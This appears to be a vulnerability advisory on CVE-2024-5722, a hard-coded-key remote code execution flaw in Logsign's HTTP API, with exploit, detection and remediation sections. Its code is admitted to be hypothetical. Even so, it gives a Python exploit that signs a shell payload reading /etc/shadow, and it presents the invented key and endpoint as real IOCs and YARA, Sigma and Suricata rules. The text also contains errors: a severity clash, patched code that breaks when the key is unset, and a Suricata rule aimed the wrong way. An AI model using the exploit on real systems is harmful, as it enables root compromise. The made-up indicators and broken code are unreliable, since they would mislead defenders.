CVE-2024-5722

Executive Summary

CVE-2024-5722 is a critical remote code execution vulnerability in the Logsign Unified SecOps Platform, specifically within its HTTP API. The flaw stems from the use of a hard-coded cryptographic key, which allows an unauthenticated, network-adjacent attacker to execute arbitrary code with root privileges. With a CVSS score of 8.8, this vulnerability poses a severe risk to affected deployments, enabling full system compromise without any authentication. No public proof-of-concept or patch details are currently available, but the vulnerability has been reported via ZDI-CAN-24170.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Adjacent Network (AV:A) – attacker must be on the same network segment.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality, Integrity, Availability: All High (C:H/I:H/A:H) – full system compromise.

Threat Level: Critical. Exploitation leads to complete root-level control of the Logsign platform, enabling data exfiltration, lateral movement, and service disruption.

Deep Dive & Mechanics

The vulnerability resides in the HTTP API of Logsign Unified SecOps Platform. The API uses a hard-coded cryptographic key for authentication or encryption of API requests. This key is embedded in the application binary or configuration files and is identical across all installations. An attacker who discovers this key can:

1. Decrypt or forge API requests that are trusted by the server.
2. Bypass authentication mechanisms that rely on the hard-coded key.
3. Execute arbitrary commands with root privileges via API endpoints that accept command input.

The root cause is a violation of secure cryptographic key management (CWE-321: Use of Hard-coded Cryptographic Key). The key should be unique per deployment and stored securely (e.g., in a hardware security module or environment variable).

Vulnerable vs. Patched Code

Since no patch details are available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Python/Flask example):

from flask import Flask, request
import hmac
import hashlib

app = Flask(__name__)

# Hard-coded key (vulnerable)
SECRET_KEY = b"LogsignHardcodedKey2024"

@app.route('/api/execute', methods=['POST'])
def execute_command():
    token = request.headers.get('Authorization')
    if not token:
        return "Unauthorized", 401
    # Weak verification using hard-coded key
    expected = hmac.new(SECRET_KEY, request.data, hashlib.sha256).hexdigest()
    if token != expected:
        return "Unauthorized", 401
    # Execute command (dangerous)
    import subprocess
    result = subprocess.run(request.json['cmd'], shell=True, capture_output=True)
    return result.stdout

Patched Code (Hypothetical):

from flask import Flask, request
import hmac
import hashlib
import os

app = Flask(__name__)

# Secure key from environment variable (patched)
SECRET_KEY = os.environ.get('API_SECRET_KEY').encode()
if not SECRET_KEY:
    raise RuntimeError("API_SECRET_KEY not set")

@app.route('/api/execute', methods=['POST'])
def execute_command():
    token = request.headers.get('Authorization')
    if not token:
        return "Unauthorized", 401
    # Strong verification using unique key
    expected = hmac.new(SECRET_KEY, request.data, hashlib.sha256).hexdigest()
    if not hmac.compare_digest(token, expected):
        return "Unauthorized", 401
    # Additional input validation and sandboxing
    cmd = request.json.get('cmd', '')
    if not is_safe_command(cmd):
        return "Forbidden", 403
    import subprocess
    result = subprocess.run(cmd, shell=True, capture_output=True, timeout=5)
    return result.stdout

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the Logsign platform (adjacent network).
• Knowledge of the hard-coded cryptographic key (extracted from firmware or documentation).

Exploitation Steps:

1. Discover the hard-coded key by analyzing the Logsign binary or configuration files (e.g., using strings or reverse engineering).
2. Craft a malicious API request using the key to sign the payload.
3. Send the request to the vulnerable endpoint (e.g., /api/execute).

Example Exploit (Python):

import requests
import hmac
import hashlib
import json

target = "http://<LOGSIGN_IP>:<PORT>/api/execute"
hardcoded_key = b"LogsignHardcodedKey2024"  # Extracted key

payload = {"cmd": "id; whoami; cat /etc/shadow"}
data = json.dumps(payload).encode()
signature = hmac.new(hardcoded_key, data, hashlib.sha256).hexdigest()

headers = {
    "Authorization": signature,
    "Content-Type": "application/json"
}

response = requests.post(target, data=data, headers=headers)
print(response.text)

Expected Output: Command output (e.g., uid=0(root)).

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor API logs for unusual requests to /api/execute or similar endpoints.
2. Analyze network traffic for patterns consistent with hard-coded key usage (e.g., repeated HMAC signatures).
3. Check for unauthorized command execution via process monitoring (e.g., auditd).

Mitigation:

• Immediately rotate the hard-coded key if possible.
• Restrict network access to the API using firewall rules.
• Implement additional authentication layers (e.g., mutual TLS).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual POST requests to /api/execute or similar endpoints.
  • Repeated HMAC signatures in Authorization headers.
  • Outbound connections from the Logsign server to unknown IPs (command and control).

• File IOCs:

  • Presence of hard-coded key strings in binaries (e.g., LogsignHardcodedKey2024).
  • Modified configuration files under /etc/logsign/.

• Process IOCs:

  • Unexpected shell commands executed by the Logsign process (e.g., id, whoami, cat /etc/shadow).
  • Spawned reverse shells or backdoor processes.

Detection Engineering

YARA Rule

rule CVE_2024_5722_Logsign_Hardcoded_Key {
    meta:
        description = "Detects hard-coded cryptographic key used in CVE-2024-5722"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5722"
    strings:
        $key1 = "LogsignHardcodedKey2024" ascii wide nocase
        $key2 = "HardcodedKey" ascii wide nocase
        $key3 = "SECRET_KEY = b\"" ascii wide
    condition:
        any of ($key1, $key2, $key3)
}

Sigma Rule

title: CVE-2024-5722 Logsign Hard-coded Key Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-5722 via API requests with hard-coded key
author: Valters IT
logsource:
    category: webserver
    product: logsign
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/execute'
        cs-user-agent: '*'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-5722 Logsign Hard-coded Key RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/execute"; http_uri;
    content:"Authorization"; http_header;
    pcre:"/Authorization:\s*[a-f0-9]{64}/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from untrusted networks.
2. Apply network segmentation to restrict access to the Logsign API.
3. Monitor for exploitation attempts using the provided detection rules.

Long-term Fix:

• Replace the hard-coded key with a unique, securely stored key per deployment (e.g., using environment variables or a secrets manager).
• Update to a patched version once Logsign releases a fix.
• Conduct a security audit of the entire Logsign platform for similar issues.

Workaround:

• If patching is not possible, implement a reverse proxy (e.g., Nginx) to add additional authentication and rate limiting to the API.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert